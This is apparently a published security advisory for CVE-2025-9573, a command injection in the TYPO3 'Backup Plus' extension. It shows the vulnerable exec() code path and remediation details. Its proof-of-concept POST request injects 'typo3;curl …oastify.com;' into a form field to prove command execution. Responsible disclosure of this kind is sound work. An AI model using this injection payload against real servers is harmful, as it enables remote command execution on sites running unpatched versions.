zum Inhalt springen

Command injection in "Backup Plus" extension for TYPO3 allows attackers to run system level commands on the server running the application

Open Source

NTCF:
NTCF-2025-57319

CVE:
CVE-2025-9573

Product:
ns_backup

Vendor:
T3Planet

Criticality:
high

Status:
fixed

Discovered:
2025-02-06

Detail:
Public

Vulnerable version:
<= 13.0.3

Fixed version:
13.0.3

Summary

"Backup Plus" is an extension for the TYPO3 enterprise Content Management System (CMS). It has been discovered that the versions below 13.0.3 are susceptible to Command Injection.

Background

TYPO3 is a widely used open source enterprise CMS known for its extensibility and customizability. It allows organizations to build and manage complex websites while offering a range of extensions that enhance its functionality. Various authorities at the national, cantonal and municipality level use TYPO3 - often in contexts where confidentiality, availability and integrity are essential. 

In a pilot project with the NCSC, the NTC evaluated the security of TYPO3 and its extensions to ensure the security of open source software used within the Swiss administration. Read more about the project here.

Vulnerability

The backup functionality of the extension relies on the execution of a system command. Below the code in ns_backup/Classes/Controller/BackupBaseController.php as of 04006b34f05ef295f70ea4914f531abfa0cdb6d6, which is before the vulnerability was fixed. 

public function generateBackup(array $arrPost): array { [...] $backupNameOriginal = $arrPost['backupName']; $backupName = $this->prefixFileName.'_'.$arrPost['backupName'];
$backupType = $arrPost['backupFolderSettings']; <-- User input
[...] $jsonFolder = $this->rootPath.'/uploads/tx_nsbackup/json/'; $jsonFile = GeneralUtility::trimExplode('_', $backupFileName, true, 3)[2] . '_' . $backupType . '_configuration.json'; $logFile = $jsonFolder . GeneralUtility::trimExplode('_', $backupFileName, true, 3)[2] . '_' . $backupType . '_log.json'; $jsonPath = $jsonFolder.$jsonFile; // Prepare SSH Command $command = $this->phpPath. ' '. $this->phpbuPath.' --configuration='.$jsonPath.' --verbose'; <-- jsonpath contains user input // Execute Backup SSH Command
exec($command, $log); <-- System command execution

The highlighted lines show the source (post request arguments) and sink (exec command) respectively.
The user input flows into the $command variable after being processed through the $jsonFile and $jsonPath variables.

As a result, adversaries with backend access and permissions to use the backup plus extension can execute arbitrary code on the webserver with the permission of the user running the web application.

Proof of Concept

By sending a modified POST request to the backuprestore endpoint, it is possible to add arbitrary commands that will be executed by the application. The following request shows how the exploit can be reproduced using Burp Suite.

POST /typo3/module/nitsan/NsBackupBackup/Backups/backuprestore?token=cbb946d3333a522ed048faca79a996ed6d0 4eec7 HTTP/1.1 Host: t3example.ddev.site Content-Length: 1429 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://t3example.ddev.site Content-Type: multipart/form-data; boundary=---- […] Connection: keep-alive ------WebKitFormBoundaryO3dAOd1oRAY3q1wk Content-Disposition: form-data; name="__referrer[@extension]" NsBackup ------WebKitFormBoundaryO3dAOd1oRAY3q1wk Content-Disposition: form-data; name="__referrer[@controller]" Backups ------WebKitFormBoundaryO3dAOd1oRAY3q1wk Content-Disposition: form-data; name="__referrer[@action]" dashboard ------WebKitFormBoundaryO3dAOd1oRAY3q1wk Content-Disposition: form-data; name="__referrer[arguments]" YTozOntzOjEwOiJjb250cm9sbGVyIjtzOjc6IkJhY2t1cHMiO3M6NjoiYWN0aW9uIjtzOjk6ImRhc2hib2FyZCI7czo1OiJ0b2t lbiI7czo0MDoiOTFkMzE1MGRjZjIzMmFhODdlNjA1MDc0YzM4YzQ4NWFkMjllNjNjOCI7fQ==d5d02a4610d8d971fce5783398 c66b943e00671e ------WebKitFormBoundaryO3dAOd1oRAY3q1wk Content-Disposition: form-data; name="__referrer[@request]" {"@extension":"NsBackup","@controller":"Backups","@action":"dashboard"}1ca1b9440d1b0aa8be995126e1c2 ffd011c80317 ------WebKitFormBoundaryO3dAOd1oRAY3q1wk Content-Disposition: form-data; name="__trustedProperties" {"backuprestore":{"backupName":1,"backupFolderSettings":1}}ceef36ca73cf085abbef31631906f91f2b77215f ------WebKitFormBoundaryO3dAOd1oRAY3q1wk Content-Disposition: form-data; name="backuprestore[backupName]" 123 ------WebKitFormBoundaryO3dAOd1oRAY3q1wk Content-Disposition: form-data; name="backuprestore[backupFolderSettings]"
typo3;curl tzwlpnj38fhhpkvxdas1hlt9h0nrbnzc.oastify.com;
------WebKitFormBoundaryO3dAOd1oRAY3q1wk—

In this example we use a curl command in combination with the Burp Suite Collaborator to demonstrate the command injection.

Proof of Concept for command injection using a curl command

Remediation

This vulnerability was reported to the TYPO3 security team and fixed by the extension maintainers in d7457d0f784d641fba6eb309bf1ed23d15c078ed. This commit introduces input validation for the backup type as well as escaping for user inputs using the built-in escapeshellarg function.

Patches

This issue has been fixed in version 13.0.3. It is recommended that all users of nitsan/ns-backup update to the latest version.

Timeline

2025-02-06: initial discovery

2025-02-21: private disclosure to vendor

2025-07-16: Discovery that the first patch is ineffective and vulnerability still exists

2025-07-17: Follow-up report sent to TYPO3 security team

2025-09-01: Release of security patch by vendor

2025-09-02: fix by vendor

2025-10-13: public disclosure